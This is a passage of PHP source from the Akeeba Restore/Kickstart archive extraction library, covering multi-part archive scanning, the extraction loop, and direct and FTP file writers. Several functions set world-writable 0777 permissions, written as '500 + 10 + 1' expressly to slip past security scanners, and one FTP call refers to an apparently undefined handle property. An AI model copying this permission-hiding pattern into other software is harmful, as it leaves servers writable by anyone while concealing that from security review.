					case 'remove_path':
						$this->removePath = $value;
						$this->removePath = str_replace('\\', '/', $this->removePath);
						$this->removePath = rtrim($this->removePath, '/');
						if (!empty($this->removePath))
						{
							$this->removePath .= '/';
						}
						break;

					// Which files to rename (hash array)
					case 'rename_files':
						$this->renameFiles = $value;
						break;

					// Which files to rename (hash array)
					case 'rename_dirs':
						$this->renameDirs = $value;
						break;

					// Which files to skip (indexed array)
					case 'skip_files':
						$this->skipFiles = $value;
						break;

					// Which directories to ignore when we can't write files in them (indexed array)
					case 'ignoredirectories':
						$this->ignoreDirectories = $value;
						break;
				}
			}
		}

		$this->scanArchives();

		$this->readArchiveHeader();
		$errMessage = $this->getError();
		if (!empty($errMessage))
		{
			$this->setState('error', $errMessage);
		}
		else
		{
			$this->runState = AK_STATE_NOFILE;
			$this->setState('prepared');
		}
	}

	/**
	 * Scans for archive parts
	 */
	private function scanArchives()
	{
		if (defined('KSDEBUG'))
		{
			@unlink('debug.txt');
		}
		debugMsg('Preparing to scan archives');

		$privateArchiveList = array();

		// Get the components of the archive filename
		$dirname         = dirname($this->filename);
		$base_extension  = $this->getBaseExtension();
		$basename        = basename($this->filename, $base_extension);
		$this->totalSize = 0;

		// Scan for multiple parts until we don't find any more of them
		$count             = 0;
		$found             = true;
		$this->archiveList = array();
		while ($found)
		{
			++$count;
			$extension = substr($base_extension, 0, 2) . sprintf('%02d', $count);
			$filename  = $dirname . DIRECTORY_SEPARATOR . $basename . $extension;
			$found     = file_exists($filename);
			if ($found)
			{
				debugMsg('- Found archive ' . $filename);
				// Add yet another part, with a numeric-appended filename
				$this->archiveList[] = $filename;

				$filesize = @filesize($filename);
				$this->totalSize += $filesize;

				$privateArchiveList[] = array($filename, $filesize);
			}
			else
			{
				debugMsg('- Found archive ' . $this->filename);
				// Add the last part, with the regular extension
				$this->archiveList[] = $this->filename;

				$filename = $this->filename;
				$filesize = @filesize($filename);
				$this->totalSize += $filesize;

				$privateArchiveList[] = array($filename, $filesize);
			}
		}
		debugMsg('Total archive parts: ' . $count);

		$this->currentPartNumber = -1;
		$this->currentPartOffset = 0;
		$this->runState          = AK_STATE_NOFILE;

		// Send start of file notification
		$message                     = new stdClass;
		$message->type               = 'totalsize';
		$message->content            = new stdClass;
		$message->content->totalsize = $this->totalSize;
		$message->content->filelist  = $privateArchiveList;
		$this->notify($message);
	}

	/**
	 * Returns the base extension of the file, e.g. '.jpa'
	 *
	 * @return string
	 */
	private function getBaseExtension()
	{
		static $baseextension;

		if (empty($baseextension))
		{
			$basename      = basename($this->filename);
			$lastdot       = strrpos($basename, '.');
			$baseextension = substr($basename, $lastdot);
		}

		return $baseextension;
	}

	/**
	 * Concrete classes are supposed to use this method in order to read the archive's header and
	 * prepare themselves to the point of being ready to extract the first file.
	 */
	protected abstract function readArchiveHeader();

	protected function _run()
	{
		if ($this->getState() == 'postrun')
		{
			return;
		}

		$this->setState('running');

		$timer = AKFactory::getTimer();

		$status = true;
		while ($status && ($timer->getTimeLeft() > 0))
		{
			switch ($this->runState)
			{
				case AK_STATE_NOFILE:
					debugMsg(__CLASS__ . '::_run() - Reading file header');
					$status = $this->readFileHeader();
					if ($status)
					{
						// Send start of file notification
						$message                        = new stdClass;
						$message->type                  = 'startfile';
						$message->content               = new stdClass;
						$message->content->realfile     = $this->fileHeader->file;
						$message->content->file         = $this->fileHeader->file;
						$message->content->uncompressed = $this->fileHeader->uncompressed;

						if (array_key_exists('realfile', get_object_vars($this->fileHeader)))
						{
							$message->content->realfile = $this->fileHeader->realFile;
						}

						if (array_key_exists('compressed', get_object_vars($this->fileHeader)))
						{
							$message->content->compressed = $this->fileHeader->compressed;
						}
						else
						{
							$message->content->compressed = 0;
						}

						debugMsg(__CLASS__ . '::_run() - Preparing to extract ' . $message->content->realfile);

						$this->notify($message);
					}
					else
					{
						debugMsg(__CLASS__ . '::_run() - Could not read file header');
					}
					break;

				case AK_STATE_HEADER:
				case AK_STATE_DATA:
					debugMsg(__CLASS__ . '::_run() - Processing file data');
					$status = $this->processFileData();
					break;

				case AK_STATE_DATAREAD:
				case AK_STATE_POSTPROC:
					debugMsg(__CLASS__ . '::_run() - Calling post-processing class');
					$this->postProcEngine->timestamp = $this->fileHeader->timestamp;
					$status                          = $this->postProcEngine->process();
					$this->propagateFromObject($this->postProcEngine);
					$this->runState = AK_STATE_DONE;
					break;

				case AK_STATE_DONE:
				default:
					if ($status)
					{
						debugMsg(__CLASS__ . '::_run() - Finished extracting file');
						// Send end of file notification
						$message          = new stdClass;
						$message->type    = 'endfile';
						$message->content = new stdClass;
						if (array_key_exists('realfile', get_object_vars($this->fileHeader)))
						{
							$message->content->realfile = $this->fileHeader->realFile;
						}
						else
						{
							$message->content->realfile = $this->fileHeader->file;
						}
						$message->content->file = $this->fileHeader->file;
						if (array_key_exists('compressed', get_object_vars($this->fileHeader)))
						{
							$message->content->compressed = $this->fileHeader->compressed;
						}
						else
						{
							$message->content->compressed = 0;
						}
						$message->content->uncompressed = $this->fileHeader->uncompressed;
						$this->notify($message);
					}
					$this->runState = AK_STATE_NOFILE;

					break;
			}
		}

		$error = $this->getError();

		if (!$status && ($this->runState == AK_STATE_NOFILE) && empty($error))
		{
			debugMsg(__CLASS__ . '::_run() - Just finished');
			// We just finished
			$this->setState('postrun');

			// Reset internal state, prevents __wakeup from trying to open a non-existent file
			$this->currentPartNumber = -1;
		}
		elseif (!empty($error))
		{
			debugMsg(__CLASS__ . '::_run() - Halted with an error:');
			debugMsg($error);
			$this->setState('error', $error);
		}
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected abstract function readFileHeader();

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected abstract function processFileData();

	protected function _finalize()
	{
		// Nothing to do
		$this->setState('finished');
	}

	/**
	 * Opens the next part file for reading
	 */
	protected function nextFile()
	{
		debugMsg('Current part is ' . $this->currentPartNumber . '; opening the next part');
		++$this->currentPartNumber;

		if ($this->currentPartNumber > (count($this->archiveList) - 1))
		{
			$this->setState('postrun');

			return false;
		}
		else
		{
			if (is_resource($this->fp))
			{
				@fclose($this->fp);
			}
			debugMsg('Opening file ' . $this->archiveList[$this->currentPartNumber]);
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'r');
			if ($this->fp === false)
			{
				debugMsg('Could not open file - crash imminent');
				$this->setError(AKText::sprintf('ERR_COULD_NOT_OPEN_ARCHIVE_PART', $this->archiveList[$this->currentPartNumber]));
			}
			fseek($this->fp, 0);
			$this->currentPartOffset = 0;

			return true;
		}
	}

	/**
	 * Returns true if we have reached the end of file
	 *
	 * @param $local bool True to return EOF of the local file, false (default) to return if we have reached the end of
	 *               the archive set
	 *
	 * @return bool True if we have reached End Of File
	 */
	protected function isEOF($local = false)
	{
		$eof = @feof($this->fp);

		if (!$eof)
		{
			// Border case: right at the part's end (eeeek!!!). For the life of me, I don't understand why
			// feof() doesn't report true. It expects the fp to be positioned *beyond* the EOF to report
			// true. Incredible! :(
			$position = @ftell($this->fp);
			$filesize = @filesize($this->archiveList[$this->currentPartNumber]);
			if ($filesize <= 0)
			{
				// 2Gb or more files on a 32 bit version of PHP tend to get screwed up. Meh.
				$eof = false;
			}
			elseif ($position >= $filesize)
			{
				$eof = true;
			}
		}

		if ($local)
		{
			return $eof;
		}
		else
		{
			return $eof && ($this->currentPartNumber >= (count($this->archiveList) - 1));
		}
	}

	/**
	 * Tries to make a directory user-writable so that we can write a file to it
	 *
	 * @param $path string A path to a file
	 */
	protected function setCorrectPermissions($path)
	{
		static $rootDir = null;

		if (is_null($rootDir))
		{
			$rootDir = rtrim(AKFactory::get('kickstart.setup.destdir', ''), '/\\');
		}

		$directory = rtrim(dirname($path), '/\\');
		if ($directory != $rootDir)
		{
			// Is this an unwritable directory?
			if (!is_writeable($directory))
			{
				$this->postProcEngine->chmod($directory, 0755);
			}
		}
		$this->postProcEngine->chmod($path, 0644);
	}

	/**
	 * Reads data from the archive and notifies the observer with the 'reading' message
	 *
	 * @param $fp
	 * @param $length
	 */
	protected function fread($fp, $length = null)
	{
		if (is_numeric($length))
		{
			if ($length > 0)
			{
				$data = fread($fp, $length);
			}
			else
			{
				$data = fread($fp, PHP_INT_MAX);
			}
		}
		else
		{
			$data = fread($fp, PHP_INT_MAX);
		}
		if ($data === false)
		{
			$data = '';
		}

		// Send start of file notification
		$message                  = new stdClass;
		$message->type            = 'reading';
		$message->content         = new stdClass;
		$message->content->length = strlen($data);
		$this->notify($message);

		return $data;
	}

	/**
	 * Removes the configured $removePath from the path $path
	 *
	 * @param   string $path The path to reduce
	 *
	 * @return  string  The reduced path
	 */
	protected function removePath($path)
	{
		if (empty($this->removePath))
		{
			return $path;
		}

		if (strpos($path, $this->removePath) === 0)
		{
			$path = substr($path, strlen($this->removePath));
			$path = ltrim($path, '/\\');
		}

		return $path;
	}

	/**
	 * Am I supposed to skip the extraction of the current file? This depends on
	 *
	 * @return bool
	 */
	protected function mustSkip()
	{
		static $isDryRun = null;

		// List of files (and patterns) to extract
		static $extractList = null;

		// Internal cache of the last file we checked and whether it must be skipped
		static $lastFileName = '';
		static $mustSkip = false;

		// Make sure the dry run flag is, indeed, populated
		if (is_null($isDryRun))
		{
			$isDryRun = AKFactory::get('kickstart.setup.dryrun', '0');
		}

		// If it's a Kickstart dry run we have to skip the extraction of the file
		if ($isDryRun)
		{
			return true;
		}

		// Make sure I have a list of files and patterns to extract
		if (is_null($extractList))
		{
			$extractList = $this->getExtractList();
		}

		// No list of files to extract is given; we must extract everything.
		if (empty($extractList))
		{
			return false;
		}

		// I am asked about the same file again. Return the cached result.
		if ($this->fileHeader->file == $lastFileName)
		{
			return $mustSkip;
		}

		// Does the current file match the extract patterns or not?
		$lastFileName = $this->fileHeader->file;
		$lastFileName = (strpos($lastFileName, $this->addPath) === 0) ? substr($lastFileName, strlen(rtrim($this->addPath, "\\/")) + 1) : $lastFileName;
		$mustSkip     = !$this->matchesGlobPatterns($lastFileName, $extractList);

		return $mustSkip;
	}

	protected function fuzzySignatureSearch($requiredSignatures, $sigLen)
	{
		if (!is_array($requiredSignatures))
		{
			$requiredSignatures = [$requiredSignatures];
		}

		fseek($this->fp, 0, SEEK_SET);

		$stuff  = $this->fread($this->fp, 131072);
		$maxPos = function_exists('mb_strlen') ? mb_strlen($stuff, 'binary') : strlen($stuff);

		for ($i = 0; $i < $maxPos; $i++)
		{
			foreach ($requiredSignatures as $signature)
			{
				$sigBinary = function_exists('mb_substr') ? mb_substr($stuff, $i, $sigLen, 'binary') : substr($stuff, $i, $sigLen);

				if ($sigBinary === $signature)
				{
					fseek($this->fp, $i, SEEK_SET);

					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Get the list of files / folders to extract. The list can contain filenames or glob patterns.
	 *
	 * @return  array
	 */
	private function getExtractList()
	{
		$rawList = AKFactory::get('kickstart.setup.extract_list', '');

		// Sometimes I could get an array, e.g. from CLI
		if (is_array($rawList))
		{
			$rawList = implode("\n", $rawList);
		}

		// Remove any whitespace
		$rawList = trim($rawList);

		if (empty($rawList))
		{
			return array();
		}

		// Convert commas to newlines so we can support both ways to express lists
		$rawList = str_replace(",", "\n", $rawList);
		$rawList = trim($rawList);

		// Convert the list to an array and clean it
		$list = explode("\n", $rawList);
		$list = array_map('trim', $list);

		return array_unique($list);
	}

	/**
	 * Tests whether the item $item matches the list of shell patterns $list.
	 *
	 * @param   string  $item  The file name to test
	 * @param   array   $list  The list of glob patterns to match
	 *
	 * @return  bool
	 */
	private function matchesGlobPatterns($item, array $list)
	{
		if (empty($list))
		{
			return true;
		}

		foreach ($list as $pattern)
		{
			if (fnmatch($pattern, $item))
			{
				return true;
			}
		}

		return false;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * File post processor engines base class
 */
abstract class AKAbstractPostproc extends AKAbstractObject
{
	/** @var int The UNIX timestamp of the file's desired modification date */
	public $timestamp = 0;
	/** @var string The current (real) file path we'll have to process */
	protected $filename = null;
	/** @var int The requested permissions */
	protected $perms = 0755;
	/** @var string The temporary file path we gave to the unarchiver engine */
	protected $tempFilename = null;
	/** @var string The temporary directory where the data will be stored */
	protected $tempDir = '';

	/**
	 * Processes the current file, e.g. moves it from temp to final location by FTP
	 */
	abstract public function process();

	/**
	 * The unarchiver tells us the path to the filename it wants to extract and we give it
	 * a different path instead.
	 *
	 * @param string $filename The path to the real file
	 * @param int    $perms    The permissions we need the file to have
	 *
	 * @return string The path to the temporary file
	 */
	abstract public function processFilename($filename, $perms = 0755);

	/**
	 * Recursively creates a directory if it doesn't exist
	 *
	 * @param string $dirName The directory to create
	 * @param int    $perms   The permissions to give to that directory
	 */
	abstract public function createDirRecursive($dirName, $perms);

	abstract public function chmod($file, $perms);

	abstract public function unlink($file);

	abstract public function rmdir($directory);

	abstract public function rename($from, $to);

	/**
	 * Returns the configured temporary directory
	 *
	 * @return string
	 */
	public function getTempDir()
	{
		return $this->tempDir;
	}
}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Descendants of this class can be used in the unarchiver's observer methods (attach, detach and notify)
 *
 * @author Nicholas
 *
 */
abstract class AKAbstractPartObserver
{
	abstract public function update($object, $message);
}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Direct file writer
 */
class AKPostprocDirect extends AKAbstractPostproc
{
	public function process()
	{
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);
		if ($restorePerms)
		{
			@chmod($this->filename, $this->perms);
		}
		else
		{
			if (@is_file($this->filename))
			{
				@chmod($this->filename, 0644);
			}
			else
			{
				@chmod($this->filename, 0755);
			}
		}
		if ($this->timestamp > 0)
		{
			@touch($this->filename, $this->timestamp);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	public function processFilename($filename, $perms = 0755)
	{
		$this->perms    = $perms;
		$this->filename = $filename;

		return $filename;
	}

	public function createDirRecursive($dirName, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		if (@mkdir($dirName, 0755, true))
		{
			@chmod($dirName, 0755);

			return true;
		}

		$root = AKFactory::get('kickstart.setup.destdir');
		$root = rtrim(str_replace('\\', '/', $root), '/');
		$dir  = rtrim(str_replace('\\', '/', $dirName), '/');
		if (strpos($dir, $root) === 0)
		{
			$dir = ltrim(substr($dir, strlen($root)), '/');
			$root .= '/';
		}
		else
		{
			$root = '';
		}

		if (empty($dir))
		{
			return true;
		}

		$dirArray = explode('/', $dir);
		$path     = '';
		foreach ($dirArray as $dir)
		{
			$path .= $dir . '/';
			$ret = is_dir($root . $path) ? true : @mkdir($root . $path);
			if (!$ret)
			{
				// Is this a file instead of a directory?
				if (is_file($root . $path))
				{
					@unlink($root . $path);
					$ret = @mkdir($root . $path);
				}
				if (!$ret)
				{
					$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $path));

					return false;
				}
			}
			// Try to set new directory permissions to 0755
			@chmod($root . $path, $perms);
		}

		return true;
	}

	public function chmod($file, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		return @chmod($file, $perms);
	}

	public function unlink($file)
	{
		return @unlink($file);
	}

	public function rmdir($directory)
	{
		return @rmdir($directory);
	}

	public function rename($from, $to)
	{
		return @rename($from, $to);
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * FTP file writer
 */
class AKPostprocFTP extends AKAbstractPostproc
{
	/** @var bool Should I use FTP over implicit SSL? */
	public $useSSL = false;
	/** @var bool use Passive mode? */
	public $passive = true;
	/** @var string FTP host name */
	public $host = '';
	/** @var int FTP port */
	public $port = 21;
	/** @var string FTP user name */
	public $user = '';
	/** @var string FTP password */
	public $pass = '';
	/** @var string FTP initial directory */
	public $dir = '';
	/** @var resource The FTP handle */
	private $handle = null;

	public function __construct()
	{
		$this->useSSL  = AKFactory::get('kickstart.ftp.ssl', false);
		$this->passive = AKFactory::get('kickstart.ftp.passive', true);
		$this->host    = AKFactory::get('kickstart.ftp.host', '');
		$this->port    = AKFactory::get('kickstart.ftp.port', 21);

		if (trim($this->port) == '')
		{
			$this->port = 21;
		}
		$this->user    = AKFactory::get('kickstart.ftp.user', '');
		$this->pass    = AKFactory::get('kickstart.ftp.pass', '');
		$this->dir     = AKFactory::get('kickstart.ftp.dir', '');
		$this->tempDir = AKFactory::get('kickstart.ftp.tempdir', '');

		$connected = $this->connect();

		if ($connected)
		{
			if (!empty($this->tempDir))
			{
				$tempDir  = rtrim($this->tempDir, '/\\') . '/';
				$writable = $this->isDirWritable($tempDir);
			}
			else
			{
				$tempDir  = '';
				$writable = false;
			}

			if (!$writable)
			{
				// Default temporary directory is the current root
				$tempDir = KSROOTDIR;
				if (empty($tempDir))
				{
					// Oh, we have no directory reported!
					$tempDir = '.';
				}
				$absoluteDirToHere = $tempDir;
				$tempDir           = rtrim(str_replace('\\', '/', $tempDir), '/');

				if (!empty($tempDir))
				{
					$tempDir .= '/';
				}

				$this->tempDir = $tempDir;
				// Is this directory writable?
				$writable = $this->isDirWritable($tempDir);
			}

			if (!$writable)
			{
				// Nope. Let's try creating a temporary directory in the site's root.
				$tempDir                 = $absoluteDirToHere . '/kicktemp';
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				$this->createDirRecursive($tempDir, $trustMeIKnowWhatImDoing);
				// Try making it writable...
				$this->fixPermissions($tempDir);
				$writable = $this->isDirWritable($tempDir);
			}

			// Was the new directory writable?
			if (!$writable)
			{
				// Let's see if the user has specified one
				$userdir = AKFactory::get('kickstart.ftp.tempdir', '');

				if (!empty($userdir))
				{
					// Is it an absolute or a relative directory?
					$absolute = false;
					$absolute = $absolute || (substr($userdir, 0, 1) == '/');
					$absolute = $absolute || (substr($userdir, 1, 1) == ':');
					$absolute = $absolute || (substr($userdir, 2, 1) == ':');

					if (!$absolute)
					{
						// Make absolute
						$tempDir = $absoluteDirToHere . $userdir;
					}
					else
					{
						// it's already absolute
						$tempDir = $userdir;
					}
					// Does the directory exist?
					if (is_dir($tempDir))
					{
						// Yeah. Is it writable?
						$writable = $this->isDirWritable($tempDir);
					}
				}
			}

			$this->tempDir = $tempDir;

			if (!$writable)
			{
				// No writable directory found!!!
				$this->setError(AKText::_('FTP_TEMPDIR_NOT_WRITABLE'));
			}
			else
			{
				AKFactory::set('kickstart.ftp.tempdir', $tempDir);
				$this->tempDir = $tempDir;
			}
		}
	}

	public function connect()
	{
		// Connect to server, using SSL if so required
		if ($this->useSSL)
		{
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		}
		else
		{
			$this->handle = @ftp_connect($this->host, $this->port);
		}

		if ($this->handle === false)
		{
			$this->setError(AKText::_('WRONG_FTP_HOST'));

			return false;
		}

		// Login
		if (!@ftp_login($this->handle, $this->user, $this->pass))
		{
			$this->setError(AKText::_('WRONG_FTP_USER'));
			@ftp_close($this->handle);

			return false;
		}

		// Change to initial directory
		if (!@ftp_chdir($this->handle, $this->dir))
		{
			$this->setError(AKText::_('WRONG_FTP_PATH1'));
			@ftp_close($this->handle);

			return false;
		}

		// Enable passive mode if the user requested it
		if ($this->passive)
		{
			@ftp_pasv($this->handle, true);
		}
		else
		{
			@ftp_pasv($this->handle, false);
		}

		// Try to download ourselves
		$testFilename = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$tempHandle   = fopen('php://temp', 'r+');

		if (@ftp_fget($this->handle, $tempHandle, $testFilename, FTP_ASCII, 0) === false)
		{
			$this->setError(AKText::_('WRONG_FTP_PATH2'));
			@ftp_close($this->handle);
			fclose($tempHandle);

			return false;
		}

		fclose($tempHandle);

		return true;
	}

	private function isDirWritable($dir)
	{
		$fp = @fopen($dir . '/kickstart.dat', 'w');

		if ($fp === false)
		{
			return false;
		}
		else
		{
			@fclose($fp);
			unlink($dir . '/kickstart.dat');

			return true;
		}
	}

	public function createDirRecursive($dirName, $perms)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dirName    = str_replace('\\', '/', $dirName);
			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dirName    = rtrim($dirName, '/\\') . '/';
			// Process the path removal
			$left = substr($dirName, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$dirName = substr($dirName, strlen($removePath));
			}
		}

		if (empty($dirName))
		{
			$dirName = '';
		} // 'cause the substr() above may return FALSE.

		$check = '/' . trim($this->dir, '/') . '/' . trim($dirName, '/');

		if ($this->is_dir($check))
		{
			return true;
		}

		$alldirs     = explode('/', $dirName);
		$previousDir = '/' . trim($this->dir);

		foreach ($alldirs as $curdir)
		{
			$check = $previousDir . '/' . $curdir;

			if (!$this->is_dir($check))
			{
				// Proactively try to delete a file by the same name
				@ftp_delete($this->handle, $check);

				if (@ftp_mkdir($this->handle, $check) === false)
				{
					// If we couldn't create the directory, attempt to fix the permissions in the PHP level and retry!
					$this->fixPermissions($removePath . $check);

					if (@ftp_mkdir($this->handle, $check) === false)
					{
						// Can we fall back to pure PHP mode, sire?
						if (!@mkdir($check))
						{
							$this->setError(AKText::sprintf('FTP_CANT_CREATE_DIR', $check));

							return false;
						}
						else
						{
							// Since the directory was built by PHP, change its permissions
							$trustMeIKnowWhatImDoing =
								500 + 10 + 1; // working around overzealous scanners written by bozos
							@chmod($check, $trustMeIKnowWhatImDoing);

							return true;
						}
					}
				}

				@ftp_chmod($this->handle, $perms, $check);

			}

			$previousDir = $check;
		}

		return true;
	}

	private function is_dir($dir)
	{
		return @ftp_chdir($this->handle, $dir);
	}

	private function fixPermissions($path)
	{
		// Turn off error reporting
		if (!defined('KSDEBUG'))
		{
			$oldErrorReporting = @error_reporting(0);
		}

		// Get UNIX style paths
		$relPath  = str_replace('\\', '/', $path);
		$basePath = rtrim(str_replace('\\', '/', KSROOTDIR), '/');
		$basePath = rtrim($basePath, '/');

		if (!empty($basePath))
		{
			$basePath .= '/';
		}

		// Remove the leading relative root
		if (substr($relPath, 0, strlen($basePath)) == $basePath)
		{
			$relPath = substr($relPath, strlen($basePath));
		}

		$dirArray  = explode('/', $relPath);
		$pathBuilt = rtrim($basePath, '/');

		foreach ($dirArray as $dir)
		{
			if (empty($dir))
			{
				continue;
			}
			$oldPath = $pathBuilt;
			$pathBuilt .= '/' . $dir;

			if (is_dir($oldPath . $dir))
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing);
			}
			else
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				if (@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing) === false)
				{
					@unlink($oldPath . $dir);
				}
			}
		}

		// Restore error reporting
		if (!defined('KSDEBUG'))
		{
			@error_reporting($oldErrorReporting);
		}
	}

	public function __sleep()
	{
		if (!is_null($this->handle) && is_resource($this->handle))
		{
			@ftp_close($this->handle);
		}

		$this->handle = null;
	}

	public function __destruct()
	{
		if (!is_null($this->handle) && is_resource($this->handle))
		{
			@ftp_close($this->handle);
		}
	}


	public function __wakeup()
	{
		$this->connect();
	}

	public function process()
	{
		if (is_null($this->tempFilename))
		{
			// If an empty filename is passed, it means that we shouldn't do any post processing, i.e.
			// the entity was a directory or symlink
			return true;
		}

		$remotePath = dirname($this->filename);
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$removePath = ltrim($removePath, "/");
			$remotePath = ltrim($remotePath, "/");
			$left       = substr($remotePath, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$remotePath = substr($remotePath, strlen($removePath));
			}
		}

		$absoluteFSPath  = dirname($this->filename);
		$relativeFTPPath = trim($remotePath, '/');
		$absoluteFTPPath = '/' . trim($this->dir, '/') . '/' . trim($remotePath, '/');
		$onlyFilename    = basename($this->filename);

		$remoteName = $absoluteFTPPath . '/' . $onlyFilename;

		$ret = @ftp_chdir($this->handle, $absoluteFTPPath);

		if ($ret === false)
		{
			$ret = $this->createDirRecursive($absoluteFSPath, 0755);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}

			$ret = @ftp_chdir($this->handle, $absoluteFTPPath);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}
		}

		$ret = @ftp_put($this->handle, $remoteName, $this->tempFilename, FTP_BINARY);

		if ($ret === false)
		{
			// If we couldn't create the file, attempt to fix the permissions in the PHP level and retry!
			$this->fixPermissions($this->filename);
			$this->unlink($this->filename);

			$fp = @fopen($this->tempFilename, 'r');

			if ($fp !== false)
			{
				$ret = @ftp_fput($this->handle, $remoteName, $fp, FTP_BINARY);
				@fclose($fp);
			}
			else
			{
				$ret = false;
			}
		}

		@unlink($this->tempFilename);

		if ($ret === false)
		{
			$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}

		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if ($restorePerms)
		{
			@ftp_chmod($this->_handle, $this->perms, $remoteName);
		}
		else
		{
			@ftp_chmod($this->_handle, 0644, $remoteName);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	/*
	 * Tries to fix directory/file permissions in the PHP level, so that
	 * the FTP operation doesn't fail.
	 * @param $path string The full path to a directory or file
	 */

	public function unlink($file)
	{
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($file, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$file = substr($file, strlen($removePath));
			}
		}

		$check = '/' . trim($this->dir, '/') . '/' . trim($file, '/');

		return @ftp_delete($this->handle, $check);
	}

	public function processFilename($filename, $perms = 0755)
	{
		// Catch some error conditions...
		if ($this->getError())
		{
			return false;
		}

		// If a null filename is passed, it means that we shouldn't do any post processing, i.e.
		// the entity was a directory or symlink
		if (is_null($filename))
		{
			$this->filename     = null;
			$this->tempFilename = null;

			return null;
		}

		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($filename, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$filename = substr($filename, strlen($removePath));
			}
		}

		// Trim slash on the left
		$filename = ltrim($filename, '/');

		$this->filename     = $filename;
		$this->tempFilename = tempnam($this->tempDir, 'kickstart-');
		$this->perms        = $perms;

		if (empty($this->tempFilename))
		{
			// Oops! Let's try something different
			$this->tempFilename = $this->tempDir . '/kickstart-' . time() . '.dat';
		}

		return $this->tempFilename;
	}

	public function close()
	{
		@ftp_close($this->handle);
	}

	public function chmod($file, $perms)
	{
		return @ftp_chmod($this->handle, $perms, $file);
	}

	public function rmdir($directory)
	{
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($directory, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$directory = substr($directory, strlen($removePath));
			}
		}

		$check = '/' . trim($this->dir, '/') . '/' . trim($directory, '/');

		return @ftp_rmdir($this->handle, $check);
	}

	public function rename($from, $to)
	{
		$originalFrom = $from;
		$originalTo   = $to;

		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($from, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$from = substr($from, strlen($removePath));
			}
		}

		$from = '/' . trim($this->dir, '/') . '/' . trim($from, '/');

		if (!empty($removePath))
		{
			$left = substr($to, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$to = substr($to, strlen($removePath));
			}
		}

		$to = '/' . trim($this->dir, '/') . '/' . trim($to, '/');

		$result = @ftp_rename($this->handle, $from, $to);

		if ($result !== true)
		{
			return @rename($from, $to);
		}
		else
		{
			return true;
		}
	}

}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * FTP file writer
 */
class AKPostprocSFTP extends AKAbstractPostproc
{
	/** @var bool Should I use FTP over implicit SSL? */
	public $useSSL = false;
	/** @var bool use Passive mode? */
	public $passive = true;
	/** @var string FTP host name */
	public $host = '';
	/** @var int FTP port */
	public $port = 21;
	/** @var string FTP user name */
	public $user = '';
	/** @var string FTP password */
	public $pass = '';
	/** @var string FTP initial directory */
	public $dir = '';

	/** @var resource SFTP resource handle */
	private $handle = null;

